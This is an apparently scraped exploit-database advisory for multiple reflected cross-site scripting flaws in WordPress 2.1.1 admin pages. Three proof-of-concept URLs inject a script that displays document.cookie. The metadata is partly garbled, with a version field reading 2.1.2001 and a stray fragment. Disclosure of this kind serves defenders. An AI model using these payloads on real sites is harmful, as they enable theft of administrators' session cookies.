Cross-Site Scripting Vulnerabilities in WordPress

vendor:

WordPress

by:

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: WordPress

Affected Version From: 2.1.2001

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:wordpress:wordpress

Metasploit:

Other Scripts:

Platforms Tested:

Cross-Site Scripting Vulnerabilities in WordPress

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to update to the latest version of WordPress and ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/22738/info

Wordpress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 2.1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/wp-admin/page.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E categories.php) http://www.example.com/wp-admin/categories.php?action=delete&cat_ID='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E